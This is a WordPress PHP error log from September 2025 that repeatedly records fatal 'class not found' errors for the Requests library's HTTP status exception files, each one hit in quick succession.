[22-Sep-2025 12:48:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[22-Sep-2025 12:48:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[22-Sep-2025 12:48:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[22-Sep-2025 12:48:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[22-Sep-2025 12:48:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[22-Sep-2025 12:48:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[22-Sep-2025 12:48:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[22-Sep-2025 12:48:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[22-Sep-2025 12:48:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[22-Sep-2025 12:48:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[22-Sep-2025 12:48:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[22-Sep-2025 12:48:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[22-Sep-2025 12:48:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[22-Sep-2025 12:48:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[22-Sep-2025 12:48:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[22-Sep-2025 12:48:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[22-Sep-2025 12:48:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[22-Sep-2025 12:48:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[22-Sep-2025 12:48:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[22-Sep-2025 12:48:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[22-Sep-2025 12:48:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[22-Sep-2025 12:48:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[22-Sep-2025 12:48:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[22-Sep-2025 12:48:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[22-Sep-2025 12:48:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[22-Sep-2025 12:48:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[22-Sep-2025 12:48:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[22-Sep-2025 12:48:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[22-Sep-2025 12:48:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[22-Sep-2025 12:48:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[25-Sep-2025 21:51:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[25-Sep-2025 21:51:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[25-Sep-2025 21:51:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[25-Sep-2025 21:51:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[25-Sep-2025 21:51:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[25-Sep-2025 21:51:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[25-Sep-2025 21:51:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[25-Sep-2025 21:51:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[25-Sep-2025 21:51:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[25-Sep-2025 21:51:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[25-Sep-2025 21:51:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[25-Sep-2025 21:51:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[25-Sep-2025 21:51:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[25-Sep-2025 21:51:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[25-Sep-2025 21:51:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[25-Sep-2025 21:51:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[25-Sep-2025 21:51:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[25-Sep-2025 21:51:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[25-Sep-2025 21:51:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[25-Sep-2025 21:51:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[25-Sep-2025 21:51:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[25-Sep-2025 21:51:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[25-Sep-2025 21:51:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[25-Sep-2025 21:51:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[25-Sep-2025 21:51:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[25-Sep-2025 21:51:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[25-Sep-2025 21:51:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[25-Sep-2025 21:51:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[25-Sep-2025 21:51:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[25-Sep-2025 21:51:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[25-Sep-2025 21:51:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[25-Sep-2025 21:51:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[25-Sep-2025 21:51:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[25-Sep-2025 22:04:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[25-Sep-2025 22:04:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[25-Sep-2025 22:04:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[25-Sep-2025 22:04:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[25-Sep-2025 22:04:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[25-Sep-2025 22:04:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[25-Sep-2025 22:04:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[25-Sep-2025 22:04:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[25-Sep-2025 22:04:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[25-Sep-2025 22:04:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[25-Sep-2025 22:04:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[25-Sep-2025 22:04:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[25-Sep-2025 22:04:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[25-Sep-2025 22:04:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[25-Sep-2025 22:04:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[25-Sep-2025 22:04:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[25-Sep-2025 22:04:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[25-Sep-2025 22:04:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[25-Sep-2025 22:04:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[25-Sep-2025 22:04:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[25-Sep-2025 22:04:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[25-Sep-2025 22:04:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[25-Sep-2025 22:04:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[25-Sep-2025 22:04:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[25-Sep-2025 22:04:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[25-Sep-2025 22:04:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[25-Sep-2025 22:04:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[25-Sep-2025 22:04:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
